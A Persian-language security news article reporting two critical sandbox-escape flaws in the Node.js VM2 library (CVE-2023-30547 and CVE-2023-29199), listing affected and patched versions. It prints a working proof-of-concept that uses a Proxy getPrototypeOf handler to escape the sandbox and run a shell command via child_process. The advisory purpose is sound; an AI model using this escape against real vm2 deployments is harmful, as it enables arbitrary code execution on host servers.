Skip to content

ONHEXGROUP

اخبار دنیای امنیت سایبری

  • اخبار
    • آسیب پذیری امنیتی
    • آنالیز بدافزار
    • کنفرانس ،دوره ، وبینار ، لایو ، CTF
    • بازیگران تهدید
    • توسعه اکسپلویت
    • افشای اطلاعات
    • باگ بانتی
    • تیم آبی
    • تیم قرمز
    • امنیت وب
  • دوره های آموزشی
    • دوره رایگان مهندسی معکوس نرم افزار
  • لیست های ویژه
    • موتورهای جستجو برای امنیت سایبری
    • کاتالوگ KEV آژانس CISA
    • آسیب پذیری های وردپرس
      • آسیب پذیری پلاگین ها
      • آسیب پذیری های هسته
      • آسیب پذیری تم ها
    • محصولات خارج از پشتیبانی مایکروسافت
      • محصولات مایکروسافتی که در سال 2022 پشتیبانی نمیشن
      • محصولات مایکروسافتی که در سال 2023 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2024 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2025 پشتیبانی نمیشن
    • معرفی فیلم ها و سریالهای مرتبط با هک و امنیت
  • آموزش های ویدیویی
  • انتشارات
    • مجله
    • مقالات
    • پادکست
  • پروژه ها
    • ماشین آسیب پذیر
      • وردپرس آسیب پذیر
  • حمایت مالی ( Donate)
  • تماس با ما
 
  • Home
  • اخبار
  • آسیب پذیری امنیتی
  • اخبار

دو آسیب پذیری بحرانی در VM2 + کد PoC

On فروردین 31, 1402فروردین 31, 1402
seyyid
Share
زمان مطالعه: 2 دقیقه

تقریبا هفته های اخیر بود که یه آسیب پذیری بحرانی در کتابخونه VM2 که امکان دور زدن سندباکس به مهاجم میداد ، کشف و گزارش شد، حالا یه محقق دیگه دو تا آسیب پذیری بحرانی ، برای دور زدن سندباکس و اجرای کد در این کتابخونه گزارش کرده.

کتابخانه VM2 یه سندباکس جاوااسکریپت هستش . این سندباکس باعث اجرای کدهای غیرقابل اعتماد در یه محیط ایزوله در سرورهای Node.js میشه. این باعث عدم دسترسی غیر مجاز به منابع سیستم و داده های خارجی میشه.

تقریبا ماهانه 16 میلیون بار از طریق NPM دانلود میشه و در محیط های مختلفی مانند IDEها و ویرایشگرهای کد ، function-as-a-service (FaaS) ، فریمورکهای تست نفوذ ، ابزارهای امنیتی و محصولات مختلف جاوااسکریپت مورد استفاده قرار میگیره.

آسیب پذیری های جدید توسط SeungHyun Lee از KAIST کره کشف و گزارش شده و مرتبط با آسیب پذیری قبلی ، CVE-2023-29017 ، نیست.

 

 

آسیب پذیری CVE-2023-30547 :

آسیب پذیری در فرایند پاکسازی استثنائات در کتابخونه VM2 رخ میده و باعث میشه مهاجم بتونه یه unsanitized host exception داخل تابع handleException ایجاد کنه که منجر به دور زدن سندباکس و اجرای کد دلخواه میشه. این تابع بمنظور پاکسازی استثنائات بکار میره ، تا از افشای اطلاعات در خصوص میزبان جلوگیری کنه. مهاجم با ایجاد یه هندلر پروکسی در تابع getPrototypeOf باعث ایجاد یه unsanitized host exception میشه که باعث میشه تابع handleException نتونه اونو پاکسازی کنه. آسیب پذیری شدت بحرانی و امتیاز 9.8 داره.

نسخه آسیب پذیر : نسخه 3.9.16 و قبلترش

نسخه اصلاح شده :نسخه 3.9.17

PoC:

کد زیر یه فایل بنام pwned رو ایجاد میکنه:

 

JavaScript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const {VM} = require("vm2");
const vm = new VM();
 
const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`
 
console.log(vm.run(code));

 

آسیب پذیری CVE-2023-29199 :

این آسیب پذیری هم در فرایند پاکسازی استثنائات و در source code transformer رخ میده. مهاجم میتونه با دور زدن handleException بتونه سندباکس دور بزنه و کد دلخواه اجرا کنه.

نسخه های تحت تاثیر: نسخه 3.9.15 و قبلترش

نسخه اصلاح شده: نسخه 3.9.16

 

منبع

 

 

اشتراک در شبکه های اجتماعی :

Facebook
Twitter
Pinterest
LinkedIn
In آسیب پذیری امنیتی اخبارIn vm2 , جاوااسکریپت

راهبری نوشته

اصلاح 433 آسیب پذیری در محصولات مختلف اوراکل
Offensive wasm

دیدگاهتان را بنویسید لغو پاسخ

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دسته‌ها

  • Osint
  • آسیب پذیری امنیتی
  • آموزش های ویدیویی
  • آنالیز بدافزار
  • اخبار
  • افشای اطلاعات
  • امنیت وب
  • انتشارات
  • اینترنت اشیاء
  • بازیگران تهدید
  • باگ بانتی
  • پادکست
  • پروژه ها
  • توسعه اکسپلویت
  • تیم آبی
  • تیم قرمز
  • دوره های آموزشی
  • فازینگ
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
  • لیست های ویژه
  • ماشین آسیب پذیر
  • مجله
  • مقالات
  • مهندسی معکوس نرم افزار

پست های مرتبط

  • اخبار
  • باگ بانتی
seyyid
On اسفند 8, 1401فروردین 28, 1402

عملکرد برنامه باگ بانتی Intel در سال 2022

  • آسیب پذیری امنیتی
  • اخبار
  • توسعه اکسپلویت
  • مقالات
seyyid
On خرداد 26, 1402

بررسی هفتگی آسیب پذیری های منتشر شده در ZDI – (20 تا 26 خرداد)

  • اخبار
seyyid
On بهمن 8, 1401فروردین 28, 1402

سریال پلیسی سایبری، شهباز

  • آسیب پذیری امنیتی
  • اخبار
seyyid
On خرداد 21, 1402خرداد 21, 1402

اصلاح آسیب پذیری بحرانی اجرای کد در Fortigate SSL-VPN

درباره ما

بعد از چندین سال فعالیت تو حوزه امنیت سایبری و تولید محتوا در شبکه های اجتماعی ، بالاخره تصمیم گرفتیم تا یه سایت راه اندازی کنیم و مطالب رو ساده تر ، در یک محیط منسجم و طبقه بندی شده به دست مخاطب برسونیم. امیدوارم که قدمی در راستای رشد امنیت سایبری کشورمون برداشته باشیم.

تگ ها

0day APT command injection Deserialization of Untrusted Data Directory Traversal FBI Fortinet Heap buffer overflow integer overflow kali LockBit Memory Corruption nuclei out-of-bounds write Out of bounds read Patch Tuesday PWN2OWN Stack Buffer overflow type confusion use after free vulnerable wordpress XSS ZDI vulnerability آموزش اکسپلویت نویسی ارز دیجیتال اندروید اپل اکسپلویت باج افزار تلگرام زیرودی سیسکو فارنزیک فورتی نت فیشینگ لاک بیت لینوکس مایکروسافت هوش مصنوعی وردپرس وردپرس آسیب پذیر ویندوز پلاگین کروم گوگل

شبکه های اجتماعی

    • Instagram
    • Telegram
    • Twitter
    • GitHub
    • YouTube
    • LinkedIn
      کپی مطالب با ذکر منبع بلامانع است | 1401-1404